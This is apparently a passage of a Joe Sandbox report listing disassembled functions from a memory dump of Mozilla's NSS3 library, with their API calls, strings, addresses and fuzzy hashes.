PR_Unlock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4D97
PR_Lock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4DBA
PR_WaitCondVar.NSS3 ref: 6C6B4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4DEF

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 0623f0c5967f84fcccdf89acbd630b544141af8d02cc5c9e0db58c2d7437425c
Instruction ID: 91467142550039c0de199b88e4e9d81298a580fb4e8d45f13b84d3e90b3f3373
Opcode Fuzzy Hash: 0623f0c5967f84fcccdf89acbd630b544141af8d02cc5c9e0db58c2d7437425c
Instruction Fuzzy Hash: FB41ADB5A48611CFCB11AF7CC5885A9BBF4BF06318F054639D898ABB01E730E895CBD5

Function 6C847CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C847CE0

Part of subcall function 6C7F9BF0: TlsGetValue.KERNEL32(?,?,?,6C840A75), ref: 6C7F9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C847D36
PR_Realloc.NSS3(?,00000080), ref: 6C847D6D
PR_GetCurrentThread.NSS3 ref: 6C847D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C847DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C847DD8
malloc.MOZGLUE(00000080), ref: 6C847DF8
PR_GetCurrentThread.NSS3 ref: 6C847E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C847DF0
:%s:%d:0x%lx, xrefs: 6C847DB9

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 129f8857a27143da32b2ff2666a7300953b9b907929ece898968d90b03ec8cf9
Instruction ID: 25cf577e848eb08d5d4322741f915c4b31ce9992d5869da016eecd99f947800a
Opcode Fuzzy Hash: 129f8857a27143da32b2ff2666a7300953b9b907929ece898968d90b03ec8cf9
Instruction Fuzzy Hash: AD41F9B15102099FDB14CF28CE84E6B37B6FF81318B25896CE8199BB55D731E845CBA1

Function 6C754E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C754E90
EnterCriticalSection.KERNEL32 ref: 6C754EA9
TlsGetValue.KERNEL32 ref: 6C754EC6
EnterCriticalSection.KERNEL32 ref: 6C754EDF
PL_HashTableLookup.NSS3 ref: 6C754EF8
PR_Unlock.NSS3 ref: 6C754F05
PR_Now.NSS3 ref: 6C754F13
PR_Unlock.NSS3 ref: 6C754F3A

Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207AD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207CD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207D6
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6B204A), ref: 6C7207E4
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,6C6B204A), ref: 6C720864
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C720880
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,6C6B204A), ref: 6C7208CB
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208D7
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208FB

Strings

bUul, xrefs: 6C754E5C
bUul, xrefs: 6C754F3F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUul$bUul
API String ID: 326028414-2439613012
Opcode ID: 5e33e4895dc4a3ed64adb892da7e42a07fe2b55f0c928f57fcd0d422a70914b9
Instruction ID: 8b597577711d5655cd5f95bf6c9eea7329c5e74e787284a29f31e585aeeb15fa
Opcode Fuzzy Hash: 5e33e4895dc4a3ed64adb892da7e42a07fe2b55f0c928f57fcd0d422a70914b9
Instruction Fuzzy Hash: 61413BB4A046059FCB00EF6CC18886ABBF4FF49308B058669DC999B715EB30E865CBD1

Function 6C77ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C77DE64), ref: 6C77ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77ED22

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

PL_FreeArenaPool.NSS3(?), ref: 6C77ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C77ED6B
PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C77ED38

Part of subcall function 6C6B4C70: TlsGetValue.KERNEL32(?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4C97
Part of subcall function 6C6B4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CB0
Part of subcall function 6C6B4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C77ED52
PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C77ED83
PL_FreeArenaPool.NSS3(?), ref: 6C77ED95
PL_FinishArenaPool.NSS3(?), ref: 6C77ED9D

Part of subcall function 6C7964F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C79127C,00000000,00000000,00000000), ref: 6C79650E

Strings

security, xrefs: 6C77ED06

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 80093cbd9d6c91dc78050843bec58ebaf80595f59c5a6d63e25765557ae601f7
Instruction ID: 97dfaa0676f611e65b61b99eec671d0fba3384aabbb57aa4c1eab7a1f4f78928
Opcode Fuzzy Hash: 80093cbd9d6c91dc78050843bec58ebaf80595f59c5a6d63e25765557ae601f7
Instruction Fuzzy Hash: 3E11057690020C6BEA705666AF4ABFB7278AF4274CF000935E85462F51F724A61CD6EA

Function 6C762CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C762CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C762D07

Part of subcall function 6C8409D0: PR_Now.NSS3 ref: 6C840A22
Part of subcall function 6C8409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C840A35
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C840A66
Part of subcall function 6C8409D0: PR_GetCurrentThread.NSS3 ref: 6C840A70
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C840A9D
Part of subcall function 6C8409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C840AC8
Part of subcall function 6C8409D0: PR_vsmprintf.NSS3(?,?), ref: 6C840AE8
Part of subcall function 6C8409D0: EnterCriticalSection.KERNEL32(?), ref: 6C840B19
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C840B48
Part of subcall function 6C8409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C840C76
Part of subcall function 6C8409D0: PR_LogFlush.NSS3 ref: 6C840C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C762D22

Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(?), ref: 6C840B88
Part of subcall function 6C8409D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C840C5D
Part of subcall function 6C8409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C840C8D
Part of subcall function 6C8409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C840C9C
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(?), ref: 6C840CD1
Part of subcall function 6C8409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C840CEC
Part of subcall function 6C8409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C840CFB
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C840D16
Part of subcall function 6C8409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C840D26
Part of subcall function 6C8409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C840D35
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C840D65
Part of subcall function 6C8409D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C840D70
Part of subcall function 6C8409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C840D90
Part of subcall function 6C8409D0: free.MOZGLUE(00000000), ref: 6C840D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C762D3B

Part of subcall function 6C8409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C840BAB
Part of subcall function 6C8409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C840BBA
Part of subcall function 6C8409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C840D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C762D54

Part of subcall function 6C8409D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C840BCB
Part of subcall function 6C8409D0: EnterCriticalSection.KERNEL32(?), ref: 6C840BDE
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(?), ref: 6C840C16

Strings

slotID = 0x%x, xrefs: 6C762D02
pPin = 0x%p, xrefs: 6C762D1D
ulPinLen = %d, xrefs: 6C762D36
C_InitToken, xrefs: 6C762CE7
pLabel = 0x%p, xrefs: 6C762D4F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 38665edf8ec883507ac9f45fc5457596b07174d2021fb21dcf339d1a7e177c1b
Instruction ID: 474b9b368ee6431b663980bb4c90e19ba2f5c1214c5268f9cd3678284ad0f45f
Opcode Fuzzy Hash: 38665edf8ec883507ac9f45fc5457596b07174d2021fb21dcf339d1a7e177c1b
Instruction Fuzzy Hash: 7121D375200148BFDB609F59DF4DA563BB1EB8631EF448430E904A7B22DB34A818CBE1

Function 6C840EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C722357), ref: 6C840EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C722357), ref: 6C840EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C840EE6

Part of subcall function 6C8409D0: PR_Now.NSS3 ref: 6C840A22
Part of subcall function 6C8409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C840A35
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C840A66
Part of subcall function 6C8409D0: PR_GetCurrentThread.NSS3 ref: 6C840A70
Part of subcall function 6C8409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C840A9D
Part of subcall function 6C8409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C840AC8
Part of subcall function 6C8409D0: PR_vsmprintf.NSS3(?,?), ref: 6C840AE8
Part of subcall function 6C8409D0: EnterCriticalSection.KERNEL32(?), ref: 6C840B19
Part of subcall function 6C8409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C840B48
Part of subcall function 6C8409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C840C76
Part of subcall function 6C8409D0: PR_LogFlush.NSS3 ref: 6C840C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C840EFA

Part of subcall function 6C72AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C72AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C840F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C840ED9, 6C840EE5, 6C840F06, 6C840F0B
Aborting, xrefs: 6C840EB3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 0893bd8f82c3adbde96124a57256bf14818b288d730597538a1f3ca548c7aa4d
Instruction ID: 8b5e8bb8a114030422b0188953bdab5e4431f78cb31cda363780bb53ae0fca07
Opcode Fuzzy Hash: 0893bd8f82c3adbde96124a57256bf14818b288d730597538a1f3ca548c7aa4d
Instruction Fuzzy Hash: F0F0A4B69001187BDE203B65DD4AC9B3E2DDF42679F008434FD0956B03EB35E91896F2

Function 6C7A4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C7A4DCB

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C7A4DE1

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C7A4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A4E59

Part of subcall function 6C78FAB0: free.MOZGLUE(?,-00000001,?,?,6C72F673,00000000,00000000), ref: 6C78FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C86300C,00000000), ref: 6C7A4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C7A4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C7A4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7A521A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 3369c2b936b214ae099815c309f0ed25ecca2a780bf71b63476aea42a855d372
Instruction ID: b90838a62ecc16657b4cbdb79f06ac1a75a176fdaf48492186f722e2aff2c943
Opcode Fuzzy Hash: 3369c2b936b214ae099815c309f0ed25ecca2a780bf71b63476aea42a855d372
Instruction Fuzzy Hash: 9DF18171E00205CBDB04CF95E5407AEB7B1FF48358F258269D915AB781EB36E982CF90

Function 6C6D2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6D2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6D2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6D3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6D3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6D3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D3022, 6C6D3156, 6C6D3162, 6C6D318A, 6C6D3196, 6C6D31A2, 6C6D31AE, 6C6D31BA, 6C6D31C6
%s at line %d of [%.10s], xrefs: 6C6D3171
database corruption, xrefs: 6C6D316C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 5b368e449db6b40f3ee4449807e4a399fa8f8c275ac74e8b275f0951a1719a68
Instruction ID: 462e7f9ef5ad517b6def81eb441a1e3649cc68a34f37b2b861e9aac133f39204
Opcode Fuzzy Hash: 5b368e449db6b40f3ee4449807e4a399fa8f8c275ac74e8b275f0951a1719a68
Instruction Fuzzy Hash: A5B1AFB1E052199BCB18CF9DC885AEEFBB1FF48304F158429E845B7B41D374A941CBA8

Function 6C74FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C74FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C74FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C74FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C74FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C74FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C74FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C74FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C74FD84

Strings

:, xrefs: 6C74FD78

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 7236175b6a75314613b8d473ea02870fe47bb1381c6e1dc71754e38b03d3a7ef
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 163108B6D002195BEB108BB8DE16BAFB7A8EF45318F158435DC14A7B00E771E918CBD2

Function 6C766C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C766C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C766C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C766CA3

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C766CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C766CD5

Strings

pMechanism = 0x%p, xrefs: 6C766CD0
hSession = 0x%x, xrefs: 6C766C7E, 6C766C8E
